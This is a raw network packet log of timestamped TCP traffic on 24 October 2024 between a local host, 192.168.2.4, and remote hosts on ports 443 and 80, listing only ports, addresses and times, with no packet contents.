Oct 24, 2024 13:28:54.009893894 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:54.009917021 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:54.536174059 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:54.536187887 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:54.536238909 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:54.536360025 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:54.536384106 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:54.536472082 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:54.645225048 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:54.645247936 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:54.645344973 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:54.645373106 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:54.645420074 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:54.649152994 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:54.649173021 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:54.649239063 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:54.649251938 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:54.649302959 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:54.653772116 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:54.653790951 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:54.653868914 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:54.653882027 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:54.653932095 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:54.660331011 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:54.660347939 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:54.660407066 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:54.660422087 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:54.660449028 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:54.660466909 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:55.907747984 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:55.907783031 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:55.907847881 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:55.907985926 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:55.908036947 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:55.908103943 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:55.913062096 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:55.913109064 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:55.913151979 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:55.913177013 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:55.913203955 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:55.913223982 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:56.024646044 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:56.024708986 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:56.024804115 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:56.024874926 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:56.024915934 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:56.024940014 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:56.545064926 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:56.545078993 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:56.545129061 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:56.545314074 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:56.545314074 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:56.545377016 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:56.545490026 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:56.652343988 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:56.652365923 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:56.652477980 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:56.652503967 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:56.652550936 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:56.657808065 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:56.657825947 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:56.657891989 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:56.657901049 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:56.657943010 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:56.664014101 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:56.664032936 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:56.664138079 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:56.664149046 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:56.664244890 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:56.668392897 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:56.668411970 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:56.668524027 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:56.668534994 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:56.668608904 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:57.692047119 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:28:57.904561996 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:57.904575109 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:57.904620886 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:57.904751062 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:57.904788971 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:57.904814959 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:57.904843092 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:57.909928083 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:57.909948111 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:57.910072088 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:57.910103083 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:57.910202026 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:58.022722006 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:58.022742987 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:58.022799015 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:58.022831917 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:58.022845984 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:58.022869110 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:58.551692963 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:58.551706076 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:58.551743984 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:58.551770926 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:58.551799059 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:58.551810980 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:58.551837921 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:58.657166004 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:58.657197952 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:58.657290936 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:58.657318115 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:58.657357931 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:58.662044048 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:58.662069082 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:58.662120104 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:58.662141085 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:58.662158966 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:58.662175894 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:58.666572094 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:58.666588068 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:58.666642904 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:58.666654110 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:58.666688919 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:58.672646046 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:58.672662973 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:58.672735929 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:58.672749043 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:58.672806025 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:59.909701109 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:59.909713030 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:59.909799099 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:59.910007000 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:59.910007000 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:59.910049915 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:59.910141945 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:59.915129900 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:59.915148020 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:59.915211916 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:59.915227890 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:59.915277004 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:29:00.026669025 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:29:00.026689053 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:29:00.026762962 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:29:00.026762962 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:29:00.026829958 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:29:00.026875973 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:29:00.552968025 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:29:00.552983999 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:29:00.553047895 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:29:00.553148985 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:29:00.553204060 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:29:00.553235054 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:29:00.553257942 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:29:00.663173914 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:29:00.663201094 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:29:00.663393021 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:29:00.663429022 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:29:00.663470984 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:29:00.668128014 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:29:00.668159962 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:29:00.668207884 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:29:00.668215990 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:29:00.668246984 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:29:00.668267965 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:29:00.672296047 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:29:00.672312975 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:29:00.672358990 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:29:00.672365904 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:29:00.672382116 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:29:00.672405005 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:29:01.555073977 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:29:01.555092096 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:29:01.555154085 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:29:01.555372953 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:29:01.555372953 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:29:01.555449009 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:29:01.555519104 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:29:01.663373947 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:29:01.663409948 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:29:01.663532019 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:29:01.663584948 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:29:01.663729906 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:29:01.669853926 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:29:01.669893026 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:29:01.669956923 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:29:01.669965029 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:29:01.669997931 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:29:01.669997931 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:29:01.676323891 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:29:01.676351070 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:29:01.676397085 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:29:01.676408052 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:29:01.676422119 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:29:01.676441908 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:29:01.781615973 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:29:01.781645060 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:29:01.781697035 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:29:01.781735897 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:29:01.781755924 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:29:01.781785965 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:29:02.912695885 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:29:02.912712097 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:29:02.912760973 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:29:02.912801027 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:29:02.912872076 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:29:02.912908077 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:29:02.912930012 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:29:02.919064045 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:29:02.919089079 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:29:02.919137955 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:29:02.919159889 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:29:02.919183969 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:29:02.919204950 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:29:03.031330109 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:29:03.031362057 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:29:03.031460047 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:29:03.031534910 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:29:03.031572104 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:29:03.031594992 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:29:03.558325052 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:29:03.558358908 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:29:03.558403969 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:29:03.558410883 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:29:03.558430910 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:29:03.558450937 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:29:03.558478117 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:29:03.558504105 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:29:03.666260958 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:29:03.666327953 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:29:03.666382074 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:29:03.666425943 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:29:03.666470051 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:29:03.666470051 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:29:03.670972109 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:29:03.671046019 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:29:03.671063900 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:29:03.671081066 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:29:03.671116114 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:29:03.671117067 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:29:03.675156116 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:29:03.675220966 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:29:03.675245047 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:29:03.675266027 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:29:03.675292969 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:29:03.675311089 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:29:03.681420088 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:29:03.681468010 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:29:03.681531906 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:29:03.681576967 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:29:03.681611061 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:29:03.681632996 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:29:04.917270899 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:29:04.917290926 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:29:04.917335033 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:29:04.917382002 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:29:04.917469978 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:29:04.917515039 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:29:04.917537928 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:29:04.922617912 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:29:04.922688961 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:29:04.922780037 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:29:04.922812939 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:29:04.922853947 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:29:04.922895908 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:29:05.034501076 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:29:05.034537077 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:29:05.034614086 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:29:05.034682035 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:29:05.034719944 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:29:05.034744024 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:29:05.562789917 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:29:05.562827110 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:29:05.562882900 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:29:05.562941074 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:29:05.563025951 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:29:05.563069105 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:29:05.563091040 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:29:05.669845104 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:29:05.669912100 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:29:05.669949055 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:29:05.670005083 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:29:05.670026064 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:29:05.670079947 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:29:05.674897909 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:29:05.674948931 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:29:05.674989939 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:29:05.675004959 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:29:05.675033092 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:29:05.675052881 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:29:05.678112984 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:29:05.678159952 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:29:05.678195953 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:29:05.678210020 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:29:05.678241014 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:29:05.678277016 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:29:05.687400103 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:29:05.687454939 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:29:05.687485933 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:29:05.687500000 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:29:05.687526941 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:29:05.687546968 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:29:06.920753002 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:29:06.920787096 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:29:06.920854092 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:29:06.920872927 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:29:06.920902014 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:29:06.920917988 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:29:06.920949936 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:29:06.925482035 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:29:06.925537109 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:29:06.925576925 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:29:06.925592899 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:29:06.925623894 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:29:06.925642014 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:29:07.037436962 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:29:07.037489891 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:29:07.037529945 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:29:07.037565947 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:29:07.037591934 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:29:07.037611961 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:29:07.301192999 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:29:07.566071987 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:29:07.566104889 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:29:07.566176891 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:29:07.566209078 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:29:07.566242933 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:29:07.566276073 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:29:07.566276073 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:29:07.566297054 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:29:07.566323996 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:29:07.566344976 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:29:07.673455000 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:29:07.673510075 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:29:07.673552990 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:29:07.673626900 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:29:07.673666954 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:29:07.673892021 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:29:07.678807020 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:29:07.678855896 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:29:07.678894997 CEST	49731	443	192.168.2.4	185.98.131.200
